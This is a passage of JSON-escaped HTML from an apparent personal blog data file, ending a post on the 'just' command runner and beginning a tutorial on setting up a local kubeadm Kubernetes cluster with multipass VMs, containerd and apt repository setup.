\u003ccode\u003enext.js\u003c/code\u003e build script:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"json\" data-theme=\"default\"\u003e\u003ccode data-language=\"json\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"scripts\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"predeploy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"yarn build \u0026#x26;\u0026#x26; yarn export \u0026#x26;\u0026#x26; touch dist/.nojekyll \u0026#x26;\u0026#x26; echo sontek.net \u003e dist/CNAME\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"deploy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"gh-pages -d dist -t true\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"build\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"next build\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"export\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"next export -o dist/\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCombining all those commands is really messy and not easily understandable through \u003ccode\u003eyarn run\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erun\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.22.17\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003einfo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCommands\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eavailable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebinary\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003escripts:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eautoprefixer,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebrowserslist,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecss-blank-pseudo,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecss-has-pseudo,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecss-prefers-color-scheme,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecssesc,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eesparse,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eesvalidate,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eextract-zip,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egh-pages,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egh-pages-clean,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejs-yaml,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eloose-envify,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enanoid,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enext,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eprettier,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolve,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erimraf,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esemver,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esvgo,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euvu\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003einfo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eProject\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommands\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebuild\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003enext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebuild\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edeploy\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egh-pages\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-t\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003enext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edist/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epredeploy\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebuild\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003etouch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edist/.nojekyll\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esontek.net\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edist/CNAME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI'd much rather have this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ just\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eAvailable recipes:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    build       # Build frontend assets\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    deploy      # Deploy assets to cloudfront\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    export      # Export to static assets (no SSR)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/casey/just\"\u003eJust\u003c/a\u003e is a wonderful tool for building project specific CLIs without much effort. It is\na great replacement for \u003ccode\u003eMake\u003c/code\u003e if you are using it as a command runner and it has most of the features you'd need.\u003c/p\u003e\n\u003cp\u003eI recommend adding a \u003ccode\u003ejustfile\u003c/code\u003e to your projects today! If you'd like to see a real world example of how to use \u003ccode\u003ejust\u003c/code\u003e,\nyou can check out the one I use to maintain my \u003ca href=\"https://github.com/sontek/homies/blob/master/justfile\"\u003ehome directory\u003c/a\u003e!\u003c/p\u003e","category":"Development","date":"2022-02-25T18:00:00-06:00","tags":["Linux"],"title":"Automate project workflows with the command runner Just!"},{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI’m going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines!  I’ll be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis isn’t important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI’m going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you don't have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs.  Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we’ll be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eState\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIPv4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImage\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can start working on our controlplane first, lets shell in:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine.   We we are going to use containerd for this purpose.  You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up.   I’m going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan 